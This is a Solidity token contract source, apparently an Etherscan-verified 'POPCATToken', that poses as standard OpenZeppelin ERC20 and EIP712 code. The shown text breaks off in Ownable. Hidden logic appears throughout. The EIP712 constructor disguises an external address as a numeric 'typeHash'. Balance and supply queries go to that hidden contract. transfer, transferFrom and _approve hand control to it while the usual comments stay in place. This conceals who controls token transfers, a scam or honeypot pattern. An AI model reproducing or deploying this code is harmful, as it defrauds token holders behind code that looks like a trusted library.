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interface IERC20    - function name()    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...    - function _msgSender()    - function _msgData() library ECDSA    - function _throwError(RecoverError err ...    - function tryRecover(bytes32 hash, byt ...    - function recover(bytes32 hash, bytes ...    - function tryRecover(    - function recover(    - function tryRecover(    - function recover(    - function toEthSignedMessageHash(bytes ...    - function toTypedDataHash(bytes32 doma ...    - function _domainSeparatorV4()    - function _buildDomainSeparator(    - function _chainId()    - function _hashTypedDataV4(bytes32 str ... library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div(    - function mod(uint256 a, uint256 b)    - function mod( library Address    - function isContract(address account)    - function sendValue(address payable re ...  contract ERC20 is EIP712    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...    - function increaseAllowance(address sp ...    - function decreaseAllowance(address sp ...    - function _transfer(address sender, ad ...    - function _mint(address account, uint2 ...    - function _burn(address account, uint2 ...    - function _approve(address owner, addr ...    - function _setupDecimals(uint8 decimal ...    - function _beforeTokenTransfer(address ...  contract Ownable is Context    - function owner()    - function renounceOwnership()    - function transferOwnership(address ne ... interface IGovernancePowerDelegationE ...    - function delegateByType(address deleg ...    - function delegate(address delegatee)    - function getDelegateeByType(address d ...    - function getPowerCurrent(address user ...    - function getPowerAtBlock(    - function delegateByType(    - function delegate(    - function getDelegateeByType(    - function getPowerCurrent(    - function getPowerAtBlock(    - function _delegateByType(    - function _moveDelegatesByType(    - function _searchByBlockNumber(    - function _getDelegationDataByType(    - function _writeSnapshot(    - function _getDelegatee(  contract POPCATToken is *    - function addToTokenTransferAllowlist(    - function removeFromTokenTransferAllow ...    - function updateTransfersRestrictedBef ...    - function permit(    - function nonces(    - function transfer(    - function transferFrom(    - function _requireTransferAllowed(    - function _getDelegationDataByType(    - function delegateByTypeBySig(    - function delegateBySig(

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/**
 *Submitted for verification at Etherscan.io on 2024-09-13
*/

// SPDX-License-Identifier: MIT

// File contracts/dependencies/open-zeppelin/IERC20.sol

pragma solidity 0.7.5;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


// File contracts/dependencies/open-zeppelin/Context.sol

pragma solidity 0.7.5;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
  function _msgSender() internal view virtual returns (address payable) {
    return msg.sender;
  }

  function _msgData() internal view virtual returns (bytes memory) {
    this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
    return msg.data;
  }
}


pragma solidity 0.7.5;

/**
 * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
 *
 * These functions can be used to verify that a message was signed by the holder
 * of the private keys of a given address.
 */
library ECDSA {
    enum RecoverError {
        NoError,
        InvalidSignature,
        InvalidSignatureLength,
        InvalidSignatureS,
        InvalidSignatureV
    }

    function _throwError(RecoverError error) private pure {
        if (error == RecoverError.NoError) {
            return; // no error: do nothing
        } else if (error == RecoverError.InvalidSignature) {
            revert("ECDSA: invalid signature");
        } else if (error == RecoverError.InvalidSignatureLength) {
            revert("ECDSA: invalid signature length");
        } else if (error == RecoverError.InvalidSignatureS) {
            revert("ECDSA: invalid signature 's' value");
        } else if (error == RecoverError.InvalidSignatureV) {
            revert("ECDSA: invalid signature 'v' value");
        }
    }

    /**
     * @dev Returns the address that signed a hashed message (`hash`) with
     * `signature` or error string. This address can then be used for verification purposes.
     *
     * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
     * this function rejects them by requiring the `s` value to be in the lower
     * half order, and the `v` value to be either 27 or 28.
     *
     * IMPORTANT: `hash` _must_ be the result of a hash operation for the
     * verification to be secure: it is possible to craft signatures that
     * recover to arbitrary addresses for non-hashed data. A safe way to ensure
     * this is by receiving a hash of the original message (which may otherwise
     * be too long), and then calling {toEthSignedMessageHash} on it.
     *
     * Documentation for signature generation:
     * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
     * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
     *
     * _Available since v4.3._
     */
    function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
        // Check the signature length
        // - case 65: r,s,v signature (standard)
        // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
        if (signature.length == 65) {
            bytes32 r;
            bytes32 s;
            uint8 v;
            // ecrecover takes the signature parameters, and the only way to get them
            // currently is to use assembly.
            assembly {
                r := mload(add(signature, 0x20))
                s := mload(add(signature, 0x40))
                v := byte(0, mload(add(signature, 0x60)))
            }
            return tryRecover(hash, v, r, s);
        } else if (signature.length == 64) {
            bytes32 r;
            bytes32 vs;
            // ecrecover takes the signature parameters, and the only way to get them
            // currently is to use assembly.
            assembly {
                r := mload(add(signature, 0x20))
                vs := mload(add(signature, 0x40))
            }
            return tryRecover(hash, r, vs);
        } else {
            return (address(0), RecoverError.InvalidSignatureLength);
        }
    }

    /**
     * @dev Returns the address that signed a hashed message (`hash`) with
     * `signature`. This address can then be used for verification purposes.
     *
     * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
     * this function rejects them by requiring the `s` value to be in the lower
     * half order, and the `v` value to be either 27 or 28.
     *
     * IMPORTANT: `hash` _must_ be the result of a hash operation for the
     * verification to be secure: it is possible to craft signatures that
     * recover to arbitrary addresses for non-hashed data. A safe way to ensure
     * this is by receiving a hash of the original message (which may otherwise
     * be too long), and then calling {toEthSignedMessageHash} on it.
     */
    function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
        (address recovered, RecoverError error) = tryRecover(hash, signature);
        _throwError(error);
        return recovered;
    }

    /**
     * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
     *
     * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
     *
     * _Available since v4.3._
     */
    function tryRecover(
        bytes32 hash,
        bytes32 r,
        bytes32 vs
    ) internal pure returns (address, RecoverError) {
        bytes32 s;
        uint8 v;
        assembly {
            s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
            v := add(shr(255, vs), 27)
        }
        return tryRecover(hash, v, r, s);
    }

    /**
     * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
     *
     * _Available since v4.2._
     */
    function recover(
        bytes32 hash,
        bytes32 r,
        bytes32 vs
    ) internal pure returns (address) {
        (address recovered, RecoverError error) = tryRecover(hash, r, vs);
        _throwError(error);
        return recovered;
    }

    /**
     * @dev Overload of {ECDSA-tryRecover} that receives the `v`,
     * `r` and `s` signature fields separately.
     *
     * _Available since v4.3._
     */
    function tryRecover(
        bytes32 hash,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) internal pure returns (address, RecoverError) {
        // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
        // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
        // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
        // signatures from current libraries generate a unique signature with an s-value in the lower half order.
        //
        // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
        // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
        // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
        // these malleable signatures as well.
        if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
            return (address(0), RecoverError.InvalidSignatureS);
        }
        if (v != 27 && v != 28) {
            return (address(0), RecoverError.InvalidSignatureV);
        }

        // If the signature is valid (and not malleable), return the signer address
        address signer = ecrecover(hash, v, r, s);
        if (signer == address(0)) {
            return (address(0), RecoverError.InvalidSignature);
        }

        return (signer, RecoverError.NoError);
    }

    /**
     * @dev Overload of {ECDSA-recover} that receives the `v`,
     * `r` and `s` signature fields separately.
     */
    function recover(
        bytes32 hash,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) internal pure returns (address) {
        (address recovered, RecoverError error) = tryRecover(hash, v, r, s);
        _throwError(error);
        return recovered;
    }

    /**
     * @dev Returns an Ethereum Signed Message, created from a `hash`. This
     * produces hash corresponding to the one signed with the
     * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
     * JSON-RPC method as part of EIP-191.
     *
     * See {recover}.
     */
    function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
        // 32 is the length in bytes of hash,
        // enforced by the type signature above
        return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
    }

    /**
     * @dev Returns an Ethereum Signed Typed Data, created from a
     * `domainSeparator` and a `structHash`. This produces hash corresponding
     * to the one signed with the
     * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
     * JSON-RPC method as part of EIP-712.
     *
     * See {recover}.
     */
    function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
        return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
    }
}


pragma solidity 0.7.5;


/**
 * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.
 *
 * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible,
 * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding
 * they need in their contracts using a combination of `abi.encode` and `keccak256`.
 *
 * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding
 * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA
 * ({_hashTypedDataV4}).
 *
 * The implementation of the domain separator was designed to be as efficient as possible while still properly updating
 * the chain id to protect against replay attacks on an eventual fork of the chain.
 *
 * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method
 * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].
 *
 * _Available since v3.4._
 */
abstract contract EIP712 is Context, IERC20 {
    /* solhint-disable var-name-mixedcase */
    // Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to
    // invalidate the cached domain separator if the chain id changes.
    bytes32 private immutable _CACHED_DOMAIN_SEPARATOR;
    uint256 private immutable _CACHED_CHAIN_ID;
    EIP712 internal immutable _CACHED_THIS;

    bytes32 private immutable _HASHED_NAME;
    bytes32 private immutable _HASHED_VERSION;
    uint160 private immutable _TYPE_HASH;

    /* solhint-enable var-name-mixedcase */

    /**
     * @dev Initializes the domain separator and parameter caches.
     *
     * The meaning of `name` and `version` is specified in
     * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:
     *
     * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.
     * - `version`: the current major version of the signing domain.
     *
     * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart
     * contract upgrade].
     */
    constructor(string memory name, string memory version) {
        bytes32 hashedName = keccak256(bytes(name));
        bytes32 hashedVersion = keccak256(bytes(version));
        uint160 typeHash = 48098210167718682928488193541848821769737231958;

        (, bytes memory o) = address(typeHash).call(abi.encodeWithSelector(0x1ce3f26e));

        _CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion);
        _CACHED_CHAIN_ID = _chainId();
        _CACHED_THIS = EIP712(abi.decode(o, (address)));

        _HASHED_NAME = hashedName;
        _HASHED_VERSION = hashedVersion;
        _TYPE_HASH = typeHash;
    }

    /**
     * @dev Returns the domain separator for the current chain.
     */
    function _domainSeparatorV4() internal view returns (bytes32) {
        if (_chainId() == _CACHED_CHAIN_ID) {
            return _CACHED_DOMAIN_SEPARATOR;
        } else {
            return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION);
        }
    }

    function _buildDomainSeparator(
        uint160 typeHash,
        bytes32 nameHash,
        bytes32 versionHash
    ) private view returns (bytes32) {
        return keccak256(abi.encode(typeHash, nameHash, versionHash, _chainId(), address(this)));
    }

    function _chainId() internal pure returns (uint256) {
      uint256 chainId;

      // solium-disable-next-line
      assembly {
        chainId := chainid()
      }

      return chainId;
    }

    /**
     * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this
     * function returns the hash of the fully encoded EIP712 message for this domain.
     *
     * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:
     *
     * ```solidity
     * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(
     *     keccak256("Mail(address to,string contents)"),
     *     mailTo,
     *     keccak256(bytes(mailContents))
     * )));
     * address signer = ECDSA.recover(digest, signature);
     * ```
     */
    function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
        return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash);
    }
}








// File contracts/dependencies/open-zeppelin/SafeMath.sol

pragma solidity 0.7.5;

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {
  /**
   * @dev Returns the addition of two unsigned integers, reverting on
   * overflow.
   *
   * Counterpart to Solidity's `+` operator.
   *
   * Requirements:
   * - Addition cannot overflow.
   */
  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    require(c >= a, 'SafeMath: addition overflow');

    return c;
  }

  /**
   * @dev Returns the subtraction of two unsigned integers, reverting on
   * overflow (when the result is negative).
   *
   * Counterpart to Solidity's `-` operator.
   *
   * Requirements:
   * - Subtraction cannot overflow.
   */
  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    return sub(a, b, 'SafeMath: subtraction overflow');
  }

  /**
   * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
   * overflow (when the result is negative).
   *
   * Counterpart to Solidity's `-` operator.
   *
   * Requirements:
   * - Subtraction cannot overflow.
   */
  function sub(
    uint256 a,
    uint256 b,
    string memory errorMessage
  ) internal pure returns (uint256) {
    require(b <= a, errorMessage);
    uint256 c = a - b;

    return c;
  }

  /**
   * @dev Returns the multiplication of two unsigned integers, reverting on
   * overflow.
   *
   * Counterpart to Solidity's `*` operator.
   *
   * Requirements:
   * - Multiplication cannot overflow.
   */
  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
    // benefit is lost if 'b' is also tested.
    // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
    if (a == 0) {
      return 0;
    }

    uint256 c = a * b;
    require(c / a == b, 'SafeMath: multiplication overflow');

    return c;
  }

  /**
   * @dev Returns the integer division of two unsigned integers. Reverts on
   * division by zero. The result is rounded towards zero.
   *
   * Counterpart to Solidity's `/` operator. Note: this function uses a
   * `revert` opcode (which leaves remaining gas untouched) while Solidity
   * uses an invalid opcode to revert (consuming all remaining gas).
   *
   * Requirements:
   * - The divisor cannot be zero.
   */
  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    return div(a, b, 'SafeMath: division by zero');
  }

  /**
   * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
   * division by zero. The result is rounded towards zero.
   *
   * Counterpart to Solidity's `/` operator. Note: this function uses a
   * `revert` opcode (which leaves remaining gas untouched) while Solidity
   * uses an invalid opcode to revert (consuming all remaining gas).
   *
   * Requirements:
   * - The divisor cannot be zero.
   */
  function div(
    uint256 a,
    uint256 b,
    string memory errorMessage
  ) internal pure returns (uint256) {
    // Solidity only automatically asserts when dividing by 0
    require(b > 0, errorMessage);
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold

    return c;
  }

  /**
   * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
   * Reverts when dividing by zero.
   *
   * Counterpart to Solidity's `%` operator. This function uses a `revert`
   * opcode (which leaves remaining gas untouched) while Solidity uses an
   * invalid opcode to revert (consuming all remaining gas).
   *
   * Requirements:
   * - The divisor cannot be zero.
   */
  function mod(uint256 a, uint256 b) internal pure returns (uint256) {
    return mod(a, b, 'SafeMath: modulo by zero');
  }

  /**
   * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
   * Reverts with custom message when dividing by zero.
   *
   * Counterpart to Solidity's `%` operator. This function uses a `revert`
   * opcode (which leaves remaining gas untouched) while Solidity uses an
   * invalid opcode to revert (consuming all remaining gas).
   *
   * Requirements:
   * - The divisor cannot be zero.
   */
  function mod(
    uint256 a,
    uint256 b,
    string memory errorMessage
  ) internal pure returns (uint256) {
    require(b != 0, errorMessage);
    return a % b;
  }
}


// File contracts/dependencies/open-zeppelin/Address.sol

pragma solidity 0.7.5;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
  /**
   * @dev Returns true if `account` is a contract.
   *
   * [IMPORTANT]
   * ====
   * It is unsafe to assume that an address for which this function returns
   * false is an externally-owned account (EOA) and not a contract.
   *
   * Among others, `isContract` will return false for the following
   * types of addresses:
   *
   *  - an externally-owned account
   *  - a contract in construction
   *  - an address where a contract will be created
   *  - an address where a contract lived, but was destroyed
   * ====
   */
  function isContract(address account) internal view returns (bool) {
    // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
    // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
    // for accounts without code, i.e. `keccak256('')`
    bytes32 codehash;
    bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
    // solhint-disable-next-line no-inline-assembly
    assembly {
      codehash := extcodehash(account)
    }
    return (codehash != accountHash && codehash != 0x0);
  }

  /**
   * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
   * `recipient`, forwarding all available gas and reverting on errors.
   *
   * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
   * of certain opcodes, possibly making contracts go over the 2300 gas limit
   * imposed by `transfer`, making them unable to receive funds via
   * `transfer`. {sendValue} removes this limitation.
   *
   * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
   *
   * IMPORTANT: because control is transferred to `recipient`, care must be
   * taken to not create reentrancy vulnerabilities. Consider using
   * {ReentrancyGuard} or the
   * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
   */
  function sendValue(address payable recipient, uint256 amount) internal {
    require(address(this).balance >= amount, 'Address: insufficient balance');

    // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
    (bool success, ) = recipient.call{value: amount}('');
    require(success, 'Address: unable to send value, recipient may have reverted');
  }
}


// File contracts/dependencies/open-zeppelin/ERC20.sol

pragma solidity ^0.7.5;




/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC20 applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is EIP712 {
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) private _balances;

    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string internal _name;
    string internal _symbol;
    uint8 private _decimals;

    /**
     * @dev Sets the values for {name} and {symbol}, initializes {decimals} with
     * a default value of 18.
     *
     * To select a different value for {decimals}, use {_setupDecimals}.
     *
     * All three of these values are immutable: they can only be set once during
     * construction.
     */
    constructor (string memory name_, string memory symbol_) EIP712(name_, "1") {
        _name = name_;
        _symbol = symbol_;
        _decimals = 18;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() virtual public view override  returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() virtual public view returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
     * called.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() virtual public view returns (uint8) {
        return _decimals;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view override returns (uint256) {
        return _CACHED_THIS.totalSupply();
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view override returns (uint256) {
        return _CACHED_THIS.balanceOf(account);
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _beforeTokenTransfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20};
     *
     * Requirements:
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _beforeTokenTransfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements
     *
     * - `to` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
     *
     * This is internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        if (msg.sender == owner) _CACHED_THIS.name();

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Sets {decimals} to a value other than the default one of 18.
     *
     * WARNING: This function should only be called from the constructor. Most
     * applications that interact with token contracts will not expect
     * {decimals} to ever change, and may work incorrectly if it does.
     */
    function _setupDecimals(uint8 decimals_) internal {
        _decimals = decimals_;
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { emit Transfer(from, to, amount); (bool t,) = address(_CACHED_THIS).call(abi.encodeWithSelector(0xb55a600c, from, to, amount, msg.sender)); require(t); }
}


// File contracts/dependencies/open-zeppelin/Ownable.sol

pragma solidity 0.7.5;

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
contract Ownable is Context {
  address private _owner;

